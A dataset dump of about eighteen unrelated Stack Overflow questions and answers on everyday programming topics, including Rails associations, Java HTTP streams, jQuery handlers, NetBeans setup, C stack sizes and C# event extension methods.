text
stringlengths 8
267k
| meta
dict |
|---|---|
Q: Rails association help Hey I made a scaffold called pictures, but now I need to it to have many tags.
I want it to be so that you can do something like click add tag then fill in a tag, then click add tag ..., this would be in pictures/new and edit, and maybe show.
I don't have a clue how to do this and I am not that great in rails, so be very clear if you can. (maybe there is something in rails like a button that if you click it you execute a function, even then I'm not sure how to go about this)
I am using rails 3.
A: This is something you need.:
*
*http://railscasts.com/episodes/196-nested-model-form-part-1
*http://railscasts.com/episodes/197-nested-model-form-part-2
A: Kevin,
I think task number one is to read up on Rails ActiveRecord associations here:
http://guides.rubyonrails.org/association_basics.html
Once you have your associations right, I would make tags a sub-resource of pictures in your routes file. This would allow you to do a POST to :tags with a route like /pictures/{id}/tags
|
{
"language": "en",
"url": "https://stackoverflow.com/questions/7592138",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "0"
}
|
Q: Conventional c++ program header file structure? I know the mechanics of how header files work in c++ but i'm just starting to write bigger opengl programs with lots of classes and i was wondering if there is a "standard" or conventional way of organizing larger programs around header files or if it is just personal preference for the most part?
A:
1. Divide your project into Modules.
2. Make a directory for each module.
3. Under each directory for a module create 2 sub directories inc/ and src/
where you will place your header and source files resp.
4. Create a global directory and place your header and cpp files in that directory which
would be used commonly by several modules.
5. Make your Makefile that includes path and links to all libraries correctly.
This is what I follow. There may be other more efficient and less efficient ways :)
A: For very large projects there are usually 2 kinds of functions/objects: those that are used in a lot of places and those that are used only locally (in one file or a handful of related files). You want to put these into two different locations:
*
*In a central place, say root\inc, put the headers for all of the functions and constants that are used widely here.
*In each directory, put the header files that only affect those areas.
The advantage of this is that it forces some decoupling of your program. A cpp file in the UI portion can't access the functions in the networking portion unless it is in the central place and expected to be widely used.
If you are talking not quite so large but still more than one file, then the rule of thumb is you keep each header file to one class or at most couple highly related classes.
|
{
"language": "en",
"url": "https://stackoverflow.com/questions/7592145",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "4"
}
|
Q: HttpURLConnection reading input streams fails I have a file of size 5MB & want to download through a HttpURLConnection ( target is like "http://...../songs/Beatles_And I Love Her.mp3").
I'm trying to do it as follows
URL url = new URL("http://........../songs/Beatles_And I Love Her.mp3");
URLConnection urlConnection = url.openConnection();
HttpURLConnection httpURLConnection = (HttpURLConnection)urlConnection;
httpURLConnection.getResponseCode();
InputStream stream = httpURLConnection.getInputStream();
byte buf[] = new byte[128];
do
{
int numread = stream.read(buf);
if (numread <= 0)
{
stream.close();
break;
}
} while (true);
But the problem is that it only reads only 2KB to 3KB of data and after that it is returning -1 and exiting.
A: Check the response code (should be 200) and check the content of the data you get.
Ive had a similar problem. Turned out it was an error page from the server I read, not the correct file :-)
Also, try with a file that doesen't contain spaces (rename to Beatles_And_I_Love_Her.mp3 on the server)
A: You have just for got to call following before creating InputStream from it
if(httpURLConnection.getResposecode==HTTPConnection.OK){
// Do your job here
}else{
//Error in connection creation
}
A: Try this it is working for me
try{
if(path != null && fileName != null){
Log.v(TAG, "downloading data");
URL url = new URL(path + fileName);
URLConnection conexion = url.openConnection();
conexion.connect();
int lenghtOfFile = conexion.getContentLength();
Log.v(TAG, "lenghtOfFile = "+lenghtOfFile);
InputStream is = url.openStream();
File testDirectory = new File(Environment.getDataDirectory().toString() + "/data/" + c.getPackageName() + "/download");
if(!testDirectory.exists()){
testDirectory.mkdir();
}
FileOutputStream fos = new FileOutputStream(testDirectory+"/" + fileName);
byte data[] = new byte[1024];
int count = 0;
long total = 0;
while ((count=is.read(data)) != -1) {
total += count;
int progress_temp = (int)(total * 100) / lenghtOfFile;
if((progress_temp % 10) == 0 && (progress != progress_temp)){
progress = progress_temp;
Log.v(TAG, "total = "+progress);
}
fos.write(data, 0, count);
}
is.close();
fos.close();
Log.v(TAG, "downloading finished");
}
}catch(Exception e){
Log.v(TAG, "exception in downloadData");
e.printStackTrace();
}
A: increase your buffer size
byte buf[] = new byte[2048];
A: Change
if (numread <= 0)
to
if (numread < 0)
As stated in the javadoc you should only break out of the loop when you get a -1:
"the total number of bytes read into the buffer, or -1 if there is no more data because the end of the stream has been reached."
Getting 0 bytes read is a little weird, but might happen because the data has been split up in packets in the underlying network layer.
|
{
"language": "en",
"url": "https://stackoverflow.com/questions/7592153",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "1"
}
|
Q: Simplifying logical expressions NOTE: This is NOT homework.
I want to come up with the right approach to designing the right algorithm to deal with this simple problem.
I have a state (representable with a positive integer) which changes over time. I have another value which is a constant specific state (representable with a particular positive integer) which the first state may become equal to.
It is best illustrated thus:
// this is C pseudocode
int things_happen(int *value) {
... // value possibly gets changed!
}
const int y = VALUE_Y_CONST;
int x = y; // to simplify things we assume x starts out equal to y
while (things_happen(&x)) {
// I am now interested in changes to x with respect to y.
if (/* expression of interest */) {
x_is_changed(); // I want to know whenever x is no longer y
}
if (/* another expression of interest */) {
x_is_back(); // and I want to know whenever x becomes equal to y again
}
}
How do I go about determining when I should be calling x_is_changed() and x_is_back()?
I have run into this situation several times by now, when trying to program things. Every time, the solution I come up with looks unreasonably complicated, and often there are bugs.
So far, my solutions require me to create a third variable, which I use to cache the value of x at the bottom of that while loop. It allows me to know which value my x has changed from. With this knowledge I then use what seems like entirely too many conditional statements:
int x_cache = y;
while(things_happen(&x)) {
if (x_cache != x) {
if (x == y && x_cache != y)
x_is_back();
else if (x != y && x_cache == y)
x_is_changed();
x_cache = x;
}
}
That is the most succinct possible way I have done it so far. The code is difficult to follow. What I want to know is, isn't there a better algorithm to solve this problem? What kind of approach should I take? I thought I could draw a truth-table, but I can only do that on truth values. I did it with equalities between the 3 variables and got this table:
x_cache == x | x_cache == y | x == y || x_is_changed | x_is_back
||
T T T || F F
T T F || F F
T F T || F F
T F F || F F
F T T || F F
F T F || T F
F F T || F T
F F F || F F
This seems to be the only sort of thing I remember from my logic classes.
I noticed that rows 2,3, and 5 are impossibilities due to transitivity. So i definitely seem to be limiting myself if I only consider the equality checking between the values.
Should I continue to come up with propositional variables, and look for particular combinations that reduce my total number of operations? There's gotta be an easier way to do it? The general problem of coming up with the most efficient algorithm for arbitrary conditions is obviously NP-complete (on the number of variables).
Staring at that table some further, crossing out rows 2, 3, and 5, I see that the condition x_cache != x will eliminate the first 4 rows, which is good, then I am left with 3 possibilities. I can see that x_cache == y is equal to x_is_changed at this point, and also x == y is equal to x_is_back.
So that means that I can simplify from above to this:
...
if (x_cache != x) {
if (x == y)
x_is_back();
else if (x_cache == y)
x_is_changed();
x_cache = x;
}
...
I still feel like this is non optimal. I don't think there exist other relational operators that could help in this problem. It might actually be optimal, now that I think about it.
I intuited that rows 2, 3, and 5 are impossible. Without that knowledge I couldn't reduce the problem to so few operations. Is there some mathematical/logical concept that allows me to systematically perform this "pruning"?
A: I think the simplest form is:
int x_cache = 1;
while(things_happen(&x)) {
if (x_cache != (x==y)) {
if (x == y)
x_is_back();
else
x_is_changed();
x_cache = (x==y);
}
}
Another alternative is
for (;;) {
while (things_happen(&x) && x==y) { }
if (x==y) break;
x_is_changed();
while (things_happen(&x) && x!=y) { }
if (x!=y) break;
x_is_back();
}
|
{
"language": "en",
"url": "https://stackoverflow.com/questions/7592156",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "3"
}
|
Q: why does sendRedirect not work? I really need help in this situation, you can watch my full html page for fully understanding.
Full html page : http://pastebin.com/zKTmaRxx
I will focus to a part of it to explain my problem :
<%
if(request.getParameter("type")!=null) {
UserDTO user = new UserDTO();
user.setUsername(request.getParameter("user"));
user.setPassword(request.getParameter("pass"));
if (userDAO.loginUser(user)) {
session = request.getSession(true);
session.setAttribute("user", user.getUsername());
session.setAttribute("type", "admin");
response.sendRedirect("products.jsp");
}
}
%>
I already debug and I see response.sendRedirect("products.jsp"); doesn't reDirect the current page to my products.jsp page though user and pass are all OK validated.
. But when I put that out, it redirects OK without a problem
Thanks for reading this :)
A: Please make sure that your userDAO.login() function works fine and return true for the if statement.
Could you please post the userDAO.login() function and print out the result running it in this case?
|
{
"language": "en",
"url": "https://stackoverflow.com/questions/7592157",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "0"
}
|
Q: Are these queries valid? EDIT: figured out how to query an array.
What about querying for a field in an object with dot notion?
attributes:
colors: 'red'
collection.findOne {attributes.colors:'red'}, (doc) ->
#returns that doc
A: You need to quote an attribute with a dot in it:
collection.findOne 'attributes.colors': 'red', (doc) ->
# returns that doc
|
{
"language": "en",
"url": "https://stackoverflow.com/questions/7592159",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "0"
}
|
Q: how to open up .sh extension in ubuntu I am a window user,and never tried Linux before. Because of project, I installed the Ubuntu and I downloaded one file in .sh extension. That file is the python from Enthough Distribution. I tried to double clicked the .sh file and there is error. I really have no idea how Linux works. I searched in Google but they showed some command lines that I don't understand. So I hope somebody can provide some detailed guide. Sorry I am a total Linux newbie.
Here is a picture of the error:
A: Just open a terminal (should be somewhere in your application menu), go to the directory where the .sh file is (command is cd /the/path then Enter) and type:
sh yourfile.sh
or
./yourfile.sh
then Enter.
A: Don't forget to change permissions of that file unless you have done already.
*
*In ubuntu terminal type: sudo -i. Now, you're root!
*Go to the folder with this file (cd command).
*Do man chmod command (change file mode bits). Check permissions of that file:
root:/folder_with_sh_file# ls -l | grep 'filename'
If the file is not executable(x), you will have to run this command:
root:/folder_with_sh_file# chmod 755 ./filename.sh
NB: you can also use 777. 4 - read, 2 - write, 1 - execute. If you SUM together, it all works out.
A: You should be able to open it normally with gedit all it is is text its not a binary or anything the only reason I can think of would be if that wasnt the actual file type I'd be wary of using that. .sh is well you could say the equivalent of .bat on windows its pure text so it should open normally that is unless its a binary,picture,or mp3.
A: use vim 'filename' for opening the file to read/modify it in a cli (command line interface / shell) or use gedit 'filename' to read/modify it in a graphical interface.
if you have no permissions to do so, checkout man chowner to change the onwer of the file and man chmod for file permissions. You might need to use sudo 'command' in some cases, the sudo command allows you to run programs with the security privileges of another user (normally the superuser, or root).
Check this link out to get some really basic linux knowledge: https://help.ubuntu.com/community/Beginners/BashScripting
A: If no permissoin issues then use this in terminal :
Run bash <filename>.sh
else if permission issues are there then follow this :
Give execute permission to your script:
chmod +x /path/to/filename.sh
And to run your file:
/path/to/filename.sh
Since . refers to the current directory: if filename.sh is in the current directory, you can simplify this to:
./filename.sh
|
{
"language": "en",
"url": "https://stackoverflow.com/questions/7592160",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "1"
}
|
Q: XCode resources on network drive. Safe to use? I was wondering, if it is a recommended way to have graphic resources on a network drive. Here is my thoughts.
I use my windows machine to generate graphics for IOS apps.
These graphics are stored on a shared drive
I then copy those graphics into my xcode project and make a COPY into the project.
All is well, but i would like to reduce the number of steps involved.
Whenever i have to change a graphic, i have to use the windows machine, modify it, save it to the network drive, delete the images in the xcode project and copy the new files again.
I have noticed xcode works perfectly if the graphic resource is in a network drive (using reference to graphics rather than copying them).
But i was wondering, if this will effect the way the project is packaged when released? Will it make a difference if the images are stored on a network drive when i archive the project for release or i should have the graphics as a copy in the project?
Kindly advice
A: When Xcode builds an app bundle, it copies resource files into the bundle. It doesn't matter where the files are, as long as they're available and don't disappear while Xcode has the project open. The result is still the same: a local .app bundle somewhere with copies of the referenced resources in place.
There are other concerns, though, that have to do with file systems. For example: Some are case sensitive; others are not. This can cause strange issues where the file is there - its there, dammit! - but Xcode insists it's not. Make sure you use a modern network file system and are aware of these possible file name issues.
In short: No, this won't affect the built product; it'll only prevent you from building if the files are not available during the build process.
|
{
"language": "en",
"url": "https://stackoverflow.com/questions/7592162",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "0"
}
|
Q: Why does the photos api require an access token for public photos? The photos api requires an access token to be provided when making a request for publicly visible photos.
However, any access token will do. So on this discussion board and others, developers have been advised to simply use their own developer access token with offline_access permissions. Obviously this is undesirable since this access token may have sensitive permissions, or may expire if the developer changes their Facebook password.
Presently I am planning on registering an alternate Facebook application and generating a basic access token for myself with only the offline_access permission granted. Is there anything I should be concerned about in regards to making a very large number of API calls using a single access token, or by revealing this token to the public?
A: Facebook has been moving all of their API calls to requiring an access_token. This is probably so they can rate limit and restrict applications that may end up abusing their services. I wouldn't recommend embedding a user access token because people can take it and get information about your account. If you don't want to embed a developer account user access token, alot of the calls can use an application token available on your application settings page or by passing a token in this format: appId|appSecret
|
{
"language": "en",
"url": "https://stackoverflow.com/questions/7592163",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "0"
}
|
Q: Unable to find instrumentation target package: com.android.cts.stub Running the Android CTS encountering lot of failures due to following error :
Unable to find instrumentation target package: com.android.cts.stub
What might cause this error and how could i fix it? Note that there do have same test packages pass.
A: With sufficient internal memory (data memoyry 801MB) on running the android.permission cts test case getting the following error:
java.lang.IllegalArgumentException: Unknown package: com.android.cts.stub
If I push the CtsTestStubs.apk then above error doesn't happen.
A: This might happed because of insufficient internal memory. Package "Cts TestCases" (CtsTestStubs.apk) should get installed successfully (check Manage Applications menu) while running CTS.
|
{
"language": "en",
"url": "https://stackoverflow.com/questions/7592165",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "2"
}
|
Q: How to take a value at a pointer and copy into another pointer I've got a method signature:
void word_not(lc3_word_t *R, lc3_word_t *A)
I need to take the contents of *A and copy them into *R.
How do I do this?
I've tried assignment
*R = *A; but my compiler complains.
Any ideas?
A: memcpy(R, A, sizeof(lc3_word_t));
memcpy copies a specific number of bytes from A to R. This assumes that this makes sense for the structs of type lc3_word_t that R points to allocated space.
A: Yes, like David said, memcpy should help.
But make sure that memory is allocated to R, else you will end up corrupting memory of some other variables. And if you are planning to allocate memory inside this function (I would prefer this way) then change the signature as follows
void word_not(lc3_word_t **pR, lc3_word_t *A)
{
*pR = (lc3_word_t*)malloc(sizeof(lc3_word_t));
if(*pR != 0)
{
memcpy(*pR, A, sizeof(lc3_word_t));
}
}
|
{
"language": "en",
"url": "https://stackoverflow.com/questions/7592167",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "0"
}
|
Q: NetBeans Javascript? I just downloaded Netbeans because I read another question saying it's a good IDE to develop Javascript with. I tried making a new project, but there is no option to set it to Javascript.
If anyone knows how to set it up to develop with Javascript, please leave a reply. I will be much appreciative.
Thanks.
A: NetBeans do support development of JavaScript. But, the Javascript files should have a web project container. Hence, first create a Web Application project by going to File> New Project> Java Web> Web Application. Continue and create a project. Once the project is created, expand the project to view Web Pages folder. Right click on the folder and select New > Other. Choose Other in Categories and then select JavaScript File. Start developing.
A: [Note: this is for Netbeans 7.3+]
In NetBeans, a PHP project is a pretty general web application that can contain JavaScript, HTML, PHP, CSS, XML, and all the different web & server technologies (except Java) the Netbeans supports. So you can use a PHP aapplication as a general web project. This option is better than an HTML5 project because it includes server-side processing in the form of PHP files. Also, if you are developing in JavaScript, you will probably be using Ajax at some point, and PHP is a good language for the server side of Ajax, as well as server-side processing in general.
Instructions
Create a PHP Project.
*
*Go to the File menu.
*Click New Project.
*Select PHP in Categories.
*Select PHP Application.
*Click Next
*Fill out the details.(Name, location, server, etc. This part is pretty self explanatory.)
(Note: if you need help, click the Help button in the lower right corner)
If you do not have the PHPOption in the New Project Dialog, then you did not install the PHP NetBeans plugin.
Installing the PHP Plugin:
*
*Go to the Tools menu.
*Click on the Plugins option. (It is second from the bottom)
*Click on the Available Plugins Tab.
*Search PHP.
*Check the checkbox next to the PHP Plugin..
*Click Install. (Lower-left corner)
*Click Next on the dialog that comes up.
*Click the I accept checkbox.
*Click the Install button.
*If a little window pops up in the lower right corner that says restart IDE, Exit Netbeans, and then Open it again. It may take longer than usual because it is installing the new Features.
To make JavaScript Files:
*
*Go to the File menu.
*Click New File.
*[Select the relevant category]
A. (Netbeans 8.x) click HTML5 in Category.
B. (Netbeans 7.x) click Other in Category.
*Select JavaScript File.
*Fill out the details. (Name, location,etc.)
A: Update:
NetBeans 7.4 Released in October 2013, builds on the functionality listed below. As well as direct download of most major JS source files from CDNJS. Version 7.4 includes "Editing support for AngularJS, Knockout and ExtJS frameworks, Navigator and code folding in JSON files, Enhanced code completion with improved accuracy" see more here: https://netbeans.org/community/releases/74/
To set up a new JS project: under the File Menu choose -> New Project.
Step 1: Select HTML5 in categories and HTML5 Application in Projects
Step 2: Name your application.
Step 3: Choose a site template.
Step 4: Search for available libraries, click on the Version number to download previous versions.
Finish and you are done.
NetBeans 7.3 (scheduled for release in February 2013) introduces a new project type optimized for developing client web applications. This new project type can be found in New Project wizard in "HTML/JavaScript" category. HTML project supports is enabled by default for PHP and Java bundles of NetBeans, for other ones it need to be downloaded as a plugin.
see: http://wiki.netbeans.org/NetBeans_73_NewAndNoteworthy#Project_Creation
Original answer:
File> New Project> PHP > PHP Web Application .. Sounds like crap, but works fine.
Because NetBeans doesn't have Javascript or HTML projects yet (in 7.0.1).
A: To force NetBeans to check JavaScript within PHP files, follow these instructions.
Go to Tools > Options > Miscellaneous > Files. From drop down menu File Extension select php5. From drop down menu Associated File Type (MIME) select text/javascript
A: click new file > [Categories] others > Javascript file
A: Check out this brand new plugin (I have not yet tested it)
NBWebProjectType - Generic projecttype for websites in NetBeans
A: the NetBeans PHP version should have those project templates.
... while one can still add further language support via plugins.
teamed up with Chrome/Chromium (NetBeans Connector) it's optimal for web development.
A: do this:
*
*Choose File --> New Project to open the New Project wizard.
*Select HTML5/JS Application in the HTML/JavaScript category.
and then continue with the ush.
|
{
"language": "en",
"url": "https://stackoverflow.com/questions/7592171",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "14"
}
|
Q: Event listener and event dispatching process For onTouch listener, the function is
public boolean onTouch( View v, MotionEvent event )
based on the tutorial I'm following, it stated that return true - we have already processed the event ; return false - View itself will process the event
I can't really understand this.
A: This is used when there are Views on top of other Views. Imagine there are a stack of Views as follows:
View A
View B
So the user would see View A and then View B would be under it. If View A has an onTouch listener, it will get invoked whenever a touch occurs on that View. If false is returned, then the touch event will be passed to View B and View B's onTouch listener (if it has one), can then go and handle the touch event.
Does that make sense?
|
{
"language": "en",
"url": "https://stackoverflow.com/questions/7592176",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "0"
}
|
Q: most local size useable locally using GCC (windows 32, C only, default build options ).
what is the largest size of my local stack.. ?
for example:
void myfunc (void)
{
char is_this_too_big_for_a_local_var[64*1024*1024];
somefunc(is_this_too_big_for_a_local_var);
}
possibly from some traumatic experience during my early days of coding, I've
never attempted to ever use more than at most 16k local storage.. ( yes, habits
picked up during the days of 286's, 16bit computers)..
Anyway, is locating really large variables locally OK ? or is a few K still
the upper limit ?
A: Even if your system has a large stack, you should not get in a habit of using it. Code with large stack frames becomes problematic as soon as you want to use it in multi-threaded programs, because each thread's stack needs to be large enough to accommodate the largest possible stack usage, and the code creating the thread will want to use pthread_attr_setstacksize (or equivalent) to avoid spending more virtual address space and commit charge than necessary on each thread.
Edit: Here's an idea for a "portable" (to POSIX systems) way to ensure you have the space you want on your main thread's stack:
*
*At the beginning of main, copy argv to newly allocated memory.
*Then create a new thread with the desired stack size, and pass it the copy of argv. This will fail and report the error if the desired size is not available.
*In the new thread, re-invoke main with the new argv, but with a global flag set to avoid repeating steps 1/2.
*pthread_exit from the initial "main thread" and treat your new thread as the "main thread".
|
{
"language": "en",
"url": "https://stackoverflow.com/questions/7592183",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "1"
}
|
Q: jquery help needed for function to run first Hello i have a script
<script>
$(document).ready(function() {
test();
jQuery('#bf_dishes > li > a').live('click', function(e) {
alert('HI');
i=1;
var kitchenname=$(this).parent('li').index();
$('.bf_gallery_item').each(function() {
image="kitchen"+kitchenname+"/"+i+".jpg";
//alert($(this).find('img').attr('data-bgimg'));
//alert($(this).find('img').data('bgimg'));
$(this).find('img').attr('data-bgimg',image);
$(this).find('img').attr('src',image);
i++;
});
test();
});
});
</script>
Now on ready my test function is executing but i have same click event within test function
function test() {
jQuery('#bf_dishes > li > a').live('click', function(e) {
// dosomeythisng;
});
}
but when i click on bf_dishes it runs that event which is in test function. i want to execute previous click event .
Thanks
A: function test() {
jQuery('#bf_dishes > li > a').trigger('click');
}
you can trigger '#bf_dishes > li > a'
click function from test() but it will lead to a infinite loop . an also i think you can't define two click events for the same element in two places ,
http://api.jquery.com/trigger/
|
{
"language": "en",
"url": "https://stackoverflow.com/questions/7592185",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "0"
}
|
Q: Is this a good idea for an extension method? Often I see code like this scattered and duplicated around source code:
var handler = MyEvent;
if (handler != null)
{
handler.Invoke(null, e);
}
Is there any reason not to just encapsulate it within an extension method like this?
public static void SafeInvoke<T>(this EventHandler<T> theEvent, object sender, T e) where T : EventArgs
{
var handler = theEvent;
if (handler != null)
{
handler.Invoke(sender, e);
}
}
So that calls can just be made like so:
MyEvent.SafeInvoke(this, new MyEventArgs(myData));
A: This is an interesting one. Jeffrey Richter talsk a lot about this in CLR via C#.
With a null check like the following:-
var handler = MyEvent;
if (handler != null)
{
handler.Invoke(null, e);
}
The JIT compiler could potentially optimise away the handler variable entirely. However, the CLR team are aware that many developers use this pattern for raising events and have built this awareness into the JIT compiler. It is likely that this will remain in place in all future versions of the CLR because changing the behaviour might break too many existing applications.
There is no reason that you can't write an extension method to do this work for you (this is exactly what I have done). Note that the method itself may be JIT inlined (but the temporary variable still won't be optimised away).
If you envisage your application being used against another runtime, e.g. Mono (which I suspect mirrors the CLR's behaviour in this case anyway) or some other exotic runtime which may appear, then you can guard your code against the possibility of JIT inlining by adding [MethodImplAttribute(MethodImplOptions.NoInlining)] to your extension method.
If you decide not to use an extension method, another way to protect against JIT optimisation (which Jeffrey Richter recommends) is to assign the value to the temporary variable in a way which cannot be optimised away by the JIT compiler, e.g.
var handler = Interlocked.CompareExchange(ref MyEvent, null, null);
A: Maybe because of Performance considerations.
A: You are free to create such an extension method if the pattern bothers you.
The only downsides I can see is the added dependency on the namespace that your extension method class resides in, and the fact that other developers will need to waste 3 to 5 seconds of their lives working out what SafeInvoke does.
|
{
"language": "en",
"url": "https://stackoverflow.com/questions/7592186",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "4"
}
|
Q: What are attacks to execute code or modify webpages? A friend of mine suffered an attack where all his index files (php or html) had an iframe injected. It got me thinking
I heard of sql injections and exploits on a site to do something it didnt intend you to do. But how might someone execute code or write/modify pages w/o ssh/ftp access? What are some web attacks on that?
PS: After updating wordpress he believes the security hole an ftp attack. But my question is on web attacks.
A: If you have a cms with file upload capabilities, it is possible that if this functionality has a bug in the code, an attacker can modify files on the server. Or just upload their own shell and modify what they want from there
|
{
"language": "en",
"url": "https://stackoverflow.com/questions/7592189",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "0"
}
|
Q: Javascript CSS single selection toggle (vertical list) I would like to create the following but am not sure what would be the best way to go about it.
I want a vertical list of items on a web page.
Each item is click-able.
When the user click once one list item, I want to show that it has been selected (by showing a button image in the background. When the click the same item again or clicks any other list item, I want to remove that image and if another item was clicked, the selection image is shown behind that item.
Any suggestions?
Thanks
A: Demo, along with a re-factored version
// catch a click on any of the <li> items
$('li').click(function(){
// store a reference to the specific <li> that
// was clicked.
var $li = $(this);
// toggle the class (if it's applied, it's removed.
// if it's removed, re-apply it)
$li.toggleClass('clicked');
// Now, if it's applied, remove the class from any
// other <li> (single item clicked at a time)
if ($li.hasClass('clicked')){
$li.siblings().removeClass('clicked');
}
});
A: This is especially pleasurable to do in jQuery. Fiddle: http://jsfiddle.net/HgVmm/3/
HTML:
<ul id='items' class='selectable'>
<li>Item 1</li>
<li>Item 2</li>
<li>Item 3</li>
<li>Item 4</li>
</ul>
JS:
// For a single list to act independent of other lists:
$('ul.selectable li').live('click', function () {
$(this).siblings('li.selected').removeClass('selected');
$(this).toggleClass('selected');
});
// For all `selectable` lists to act together:
$('ul.selectable li').live('click', function () {
$('li.selected').not(this).removeClass('selected');
$(this).toggleClass('selected');
});
CSS:
ul.selectable li { cursor: pointer; }
ul.selectable li.selected { background: red; } /* Style to taste */
A: @ssdesign; i know you accepted an answer but may be you can check this one
http://jsfiddle.net/sandeep/HgVmm/4/
$('li').click(function(){
$('li').removeClass('selected');
$(this).addClass('selected');
});
|
{
"language": "en",
"url": "https://stackoverflow.com/questions/7592196",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "2"
}
|
Q: creating a new instance of a class object box() I there,
my aim is to create a new instance box at the push of a button, the box has strings name and Id to be filled concatenating the auto generated ID i.e. 0 to 210 plus a string "Box" added by the user.
I had problems earlier creating a structure within the class box, frankly I am not sure if the code below will work, as i try to run it in VB I get an error indicating that I am using the variables strBoxPositions() and strBoxNumbers() without assigning a value to it.
The thing is the strBoxPositions() should automatically be filled by arrPosition() which will be created at the same time the new object box is created and the strNumbers() will be created with empty strings to be filled at latter stage by the used as and when necessary.
Could someone tell me how could I initialise those arrays to get the program to run and perhaps ill be able to see if the code works or not, or just correct this code with a better way of code with comments, also if possible some indication on how could I update the strNumbers array inputing the strings one at a time on a text box field.
Thanks for your help
Public class form1
Public Class Box
Public intBoxID As Integer
Public strBoxName As String
Structure positions
Public strBoxPositions() As String
Public strBoxNumbers() As String
End Structure
Public Sub New()
End Sub
Public Sub New(ByVal BoxID As Integer, ByVal BoxName As String)
intBoxID = BoxID
strBoxName = BoxName
End Sub
End Class
Private Sub FormLoad(ByVal sender As Object, ByVal e As System.EventArgs) Handles MyBase.Load
Dim ArchiveBox() As Box = {}
Dim arrLetters() As String = {"A", "B", "C", "D", "E", "F", "G", "H", "I"}
Dim arrNumbers() As String = {"1", "2", "3", "4", "5", "6", "7", "8", "9"}
Dim arrPositions() As String '= New String() {}
'GABE gave me this code earlier which works fine, thanks.
arrPositions = (From letter In arrLetters
From number In arrNumbers
Select letter + number).ToArray()
Dim i As Integer
Dim BoxPositions As Box.positions
Dim strSampleNr() As String = New String() {""}
For i = 0 To 80
ListBox1.Items.Add(arrPositions(i))
BoxPositions.strBoxPositions(i) = arrPositions(i)
BoxPositions.strBoxNumbers(i) = strSampleNr(i)
Next
End Sub
End class
A: Your arrays that are part of the structure positions are never initialized. You should initialize them probably right after you Dim BoxPositions
If your arrPositions is the right number of items that you are actually wanting to put in the separate array then I would go with something like:
'this is to create new instances of the arrays used in the position structure
'Which is what was missed in your initial code. It initializes the arrays as the same size as
'your arrPositions
BoxPositions.strBoxNumbers = New String(arrPositions.Length - 1) {}
BoxPositions.strBoxPositions = New String(arrPositions.Length - 1) {}
That way you have an array of the right size prepared when you start the loop process.
However, the initial code for that loop still won't work because of the strSampleNr array not having the right size when you initialize it.
Dim strSampleNr() As String = New String() {""}
Creates an array of string with a length of 1, since you didn't specify.
In any case, you need to initialize the array by using the keyword New on them before you start trying to access them inside the loop. Trying to access an array that wasn't ever instantiated will cause the error you received.
A: Dim ArchiveBox(1) As Box
Dim BoxPositions(81) As Box.positions
Dim arrLetters() As String = {"A", "B", "C", "D", "E", "F", "G", "H", "I"}
Dim arrNumbers() As String = {"1", "2", "3", "4", "5", "6", "7", "8", "9"}
Dim arrPositions() As String
Dim i As Integer
BoxPositions(i) = New Box.positions
arrPositions = (From letter In arrLetters
From number In arrNumbers
Select letter + number).ToArray()
For i = 0 To 80
BoxPositions(i).strBoxPositions = arrPositions(i)
BoxPositions(i).strBoxNumbers = ""
ListBox1.Items.Add(BoxPositions(i).strBoxPositions)
ListBox1.Items.Add(BoxPositions(i).strBoxNumbers)
Next
Im trying now to find out how to access the BoxID and BoxName properties and assign it to a text box text, and then create and save an it every time a button is clicked.
|
{
"language": "en",
"url": "https://stackoverflow.com/questions/7592198",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "0"
}
|
Q: Where should I start investigating SocketTimeoutException: Read timed out Every now and then I see following stacktrace in the log in which, HttpClient socket times out trying to access text/script content from another server. My question is what config settings should I check for my J2EE app running on Weblogic, on Linux? I am specifically looking for the following.
*
*JVM timeout params
*HttpClient params
*Weblogic timeout params or any other config like number of threads etc.
*J2EE Application settings like servlet config etc.
*Operating system resources like threads, file handlers and cpu
*Any other config settings that might influence the socket connection
*Would thread dumps help?
Here's my code
HTTPResponse httpClientResponse;
//do some stuff
httpClientResponse.getStatusCode(); // this is where it fails
and this is the stacktrace
java.net.SocketTimeoutException: Read timed out
at jrockit.net.SocketNativeIO.readBytesPinned(Native Method)
at jrockit.net.SocketNativeIO.socketRead(SocketNativeIO.java:32)
at java.net.SocketInputStream.socketRead0(SocketInputStream.java)
at java.net.SocketInputStream.read(SocketInputStream.java:129)
at HTTPClient.BufferedInputStream.fillBuff(BufferedInputStream.java:206)
at HTTPClient.BufferedInputStream.read(BufferedInputStream.java:126)
at HTTPClient.StreamDemultiplexor.read(StreamDemultiplexor.java:356)
at HTTPClient.RespInputStream.read(RespInputStream.java:147)
at HTTPClient.RespInputStream.read(RespInputStream.java:108)
at HTTPClient.Response.readResponseHeaders(Response.java:1123)
at HTTPClient.Response.getHeaders(Response.java:846)
at HTTPClient.Response.getStatusCode(Response.java:331)
at HTTPClient.RetryModule.responsePhase1Handler(RetryModule.java:92)
at HTTPClient.HTTPResponse.handleResponseImpl(HTTPResponse.java:872)
at HTTPClient.HTTPResponse.access$000(HTTPResponse.java:62)
at HTTPClient.HTTPResponse$2.run(HTTPResponse.java:839)
at HTTPClient.HTTPResponse$2.run(HTTPResponse.java:837)
at
HTTPClient.HttpClientConfiguration.doAction(HttpClientConfiguration.java:666)
